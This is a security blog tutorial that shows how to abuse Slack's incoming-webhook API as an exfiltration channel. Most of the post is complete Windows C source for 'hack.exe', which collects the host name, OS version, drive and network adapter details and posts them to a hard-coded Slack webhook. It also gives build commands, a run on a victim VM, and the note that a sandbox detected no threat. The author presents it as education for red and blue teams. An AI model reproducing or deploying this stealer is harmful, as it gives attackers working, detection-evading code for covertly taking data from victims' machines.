4 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

Continuing my work on exploiting and abusing legitimate APIs for malware development, I want to show another simple example in response to a question from one of my readers.

Today, we’ll take a look at how attackers can exploit Slack’s API - a legitimate and widely-used platform for collaboration

practical example

As usual, I will provide a simple PoC that demonstrates the abuse of Slack Webhook API to upload system information from a victim’s Windows system.

First of all, we need to create Slack App:

malware

malware

malware

Then, we need to enable incoming webhooks:

malware

Create new channel for our scenario:

malware

adding this channel to webhook settings:

malware

malware

malware

malware

as you can see, integration to this channel via meow-test successfully added.

And we need something like this:

// send data to Slack channel using winhttp
int sendToSlack(char* message) {
  HINTERNET hSession = NULL;
  HINTERNET hConnect = NULL;

  hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  if (hSession == NULL) {
    fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());
    return 1;
  }

  hConnect = WinHttpConnect(hSession, L"hooks.slack.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
  if (hConnect == NULL) {
    fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hSession);
    return 1;
  }

  // char headers[] = "Content-Type: application/json";
  HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/services/T05LNF51FAM/B09M7L8BQ91/GQtnKW33OKeQzTZbkZvustAu", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
  if (hRequest == NULL) {
    fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }

  if (!WinHttpSendRequest(hRequest, L"Content-Type: application/json", -1, message, strlen(message), strlen(message), 0)) {
    fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }
   
  if (!WinHttpReceiveResponse(hRequest, NULL)) {
    fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());
  }

  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hSession);
  printf("information sent successfully.\n");
  return 0;
}

it’s similar to my previous scenarios with Github API, Bitbucket API or Discord Bot API.

So, full source code is looks like this hack.c:

/*
 * hack.c
 * sending systeminfo via legit URL. Slack API
 * author @cocomelonc
 * https://cocomelonc.github.io/malware/2025/10/20/malware-tricks-52.html
 */
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
#include <stdio.h>
 
// send data to Slack channel using winhttp
int sendToSlack(char* message) {
  HINTERNET hSession = NULL;
  HINTERNET hConnect = NULL;

  hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  if (hSession == NULL) {
    fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());
    return 1;
  }

  hConnect = WinHttpConnect(hSession, L"hooks.slack.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
  if (hConnect == NULL) {
    fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hSession);
    return 1;
  }

  // char headers[] = "Content-Type: application/json";
  HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/services/T05LNF51FAM/B09M7L8BQ91/GQtnKW33OKeQzTZbkZvustAu", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
  if (hRequest == NULL) {
    fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }

  if (!WinHttpSendRequest(hRequest, L"Content-Type: application/json", -1, message, strlen(message), strlen(message), 0)) {
    fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }
   
  if (!WinHttpReceiveResponse(hRequest, NULL)) {
    fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());
  }

  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hSession);
  printf("information sent successfully.\n");
  return 0;
}
  
// get systeminfo and send as message via Slack API logic
int main(int argc, char* argv[]) {
  
  char systemInfo[2048];
  
  // get host name
  CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
  DWORD size = sizeof(hostName) / sizeof(hostName[0]);
  GetComputerNameA(hostName, &size);
  
  // get OS version
  OSVERSIONINFO osVersion;
  osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  GetVersionEx(&osVersion);
  
  // get system information
  SYSTEM_INFO sysInfo;
  GetSystemInfo(&sysInfo);
  
  // get logical drive information
  DWORD drives = GetLogicalDrives();
 
  // get IP address
  IP_ADAPTER_INFO adapterInfo[16];
  DWORD adapterInfoSize = sizeof(adapterInfo);
  if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
    printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
    return 1;
  }
  
  snprintf(systemInfo, sizeof(systemInfo),
    "Host Name: %s, "
    "OS Version: %d.%d.%d, "
    "Processor Architecture: %d, "
    "Number of Processors: %d, "
    "Logical Drives: %X, ",
    hostName,
    osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
    sysInfo.wProcessorArchitecture,
    sysInfo.dwNumberOfProcessors,
    drives);
  
  // Add IP address information
  for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
    snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
    "Adapter Name: %s, "
    "IP Address: %s, "
    "Subnet Mask: %s, "
    "MAC Address: %02X-%02X-%02X-%02X-%02X-%02X", 
    adapter->AdapterName,
    adapter->IpAddressList.IpAddress.String,
    adapter->IpAddressList.IpMask.String,
    adapter->Address[0], adapter->Address[1], adapter->Address[2],
    adapter->Address[3], adapter->Address[4], adapter->Address[5]);
  }
  
  char test[1024];
  const char* message = "meow-meow";
  snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);
  sendToSlack(test);

  char slackMessage[4096];
  snprintf(slackMessage, sizeof(slackMessage), "{\"text\":\"%s\"}", systemInfo);
  int result = sendToSlack(slackMessage);
 
  if (result == 0) {
    printf("sysinfo successfully sent in Slack.\n");
  } else {
    printf("failed to send info to Slack.\n");
  }
 
  return 0;
}

For purity of experiment, added some test messages like meow-meow before sending sysinfo.

demo

Let’s go to see this in action. Compile our hack.c:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -liphlpapi -lwinhttp

malware

Then, move to the victim’s machine (in my case Windows 10 x64 22H2 English VM)and run:

.\hack.exe

malware

malware

As you can see, everything worked perfectly as expected! =^..^=

Let’s analyze with ANY.RUN:

malware

malware

As you can see, ANY.RUN says that everything is ok: no threats detected.

https://app.any.run/tasks/541b4621-ecd8-40fb-9c42-ff526c7fe78f

This PoC is not currently full featured C2 with an interactive shell and sending commands to victim, but maybe future updates in this series will enhance its capabilities.

Software like Brute Ratel C4 can use Slack for external C2 channels.

I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

malware

Thanks to ANY.RUN for API!

ATT&CK MITRE: T1102
Brute Ratel C4
ANY.RUN
ANY.RUN: hack.exe
BitBucket API Stealer
Github API stealer
VirusTotal API stealer
Telegram Bot API stealer
source code in Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine